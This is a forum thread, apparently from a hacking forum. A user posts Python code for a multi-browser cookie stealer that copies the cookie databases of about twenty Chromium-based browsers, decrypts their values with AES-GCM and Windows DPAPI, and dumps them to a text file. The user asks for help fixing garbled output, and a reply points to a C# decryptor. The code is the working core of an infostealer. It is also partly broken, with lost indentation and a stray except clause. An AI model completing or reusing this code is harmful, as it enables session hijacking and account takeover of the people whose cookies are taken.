Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Decrypting chromium browser cookies

I'm working on a cookie decrypter for the following chromium browsers:

Chrome
Chrome Beta
Chrome Dev
Chrome Canary
Edge
Edge Beta
Edge Dev
Edge Canary
Brave
Vivaldi
Chromium
Arc
Yandex
Opera
Opera GX
Thorium
Torch
Iridium
Epic Privacy
Avast Secure
AVG Secure

heres the main() function:

def main():
keys = get_keys()
all_data = {}

for name, base_path in BROWSERS.items():
cookie_db = os.path.join(base_path, "Default", "Network", "Cookies")
if not os.path.isfile(cookie_db):
continue

temp_db = Path(os.environ["TEMP"]) / f"{name}_CookieData.db"
shutil.copy2(cookie_db, temp_db)

key = keys.get(name)
browser_entries = []

try:
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, value, encrypted_value FROM cookies")

browser_entries = []

for row in cursor.fetchall():
try:
url = row[0]
name = row[1]
value = row[2]
encrypted_value = row[3]

if encrypted_value:
cookie = decrypt(encrypted_value, key)
else:
cookie = value

if cookie:
browser_entries.append({
"url": url,
"name": name,
"value": value,
"cookie": cookie
})
except Exception as e:
print(f"Error processing {name}: {e}")

finally:
cursor.close()
conn.close()
try:
Path(temp_db).unlink(missing_ok=True)
except Exception as e:
print(f"Error deleting temp DB: {e}")

if browser_entries:
all_data[name] = browser_entries

with open("cookieslmao.txt", "w", encoding="utf-8") as f:
for browser, entries in all_data.items():
f.write(f"=======\n")
for entry in entries:
url = entry.get("url", "")
name = entry.get("name", "")
cookie = entry.get("cookie", "")
f.write(f"url: {url}\n")
f.write(f"name: {name}\n")
f.write(f"cookie (encoded in base64): {cookie}\n")
f.write(f"=======\n")

print(f"extraction complete! saved to cookieslmao.json")


decrypt() function:

def decrypt(encrypted_value: bytes, key: bytes) -> str:

if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15:-16]
tag = encrypted_value[-16:]

cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
else:
decrypted = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1]


try:
return decrypted.decode('utf-8')
except UnicodeDecodeError:

return base64.b64encode(decrypted).decode('utf-8')

except Exception as e:
print(f"Decryption error: {e}")
return ""




and heres a sample cookie:

O0u86bZFoBy9uAm+/CQ+2yDhVf9MIsqe2thT4IRW07xjOTZkYjA2Yi1iY2JiLTQ4NGUtYmZmMS05ZGVhNjA1OWFmZmU=

notice how its base64? well when i try to decode any cookie, it starts with something similar to this:

;KE $> UL"ʞSVӼ (alien language)

also, a lot of the cookies dont match the same cookie if i open up dev console.

any help?
I do not know your coding skill level but can you check this out?
https://github.com/lainalie/Chrome-Chrom...-decryptor
This code here is written in C# and not Python but I think you can use this as reference.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by 0u1lawSep 6, 2020 02:52 AM 3 220 Sep 6, 2020 02:52 AM
Last Post: Argonaut.exe
[.NET] by Camf ∆Nov 10, 2019 05:36 PM 2 183 Nov 10, 2019 05:36 PM
Last Post: Eternal Darkness
[.NET] by CodeBinaryMar 7, 2018 02:49 AM 1 335 Mar 7, 2018 02:49 AM
Last Post: shazalamm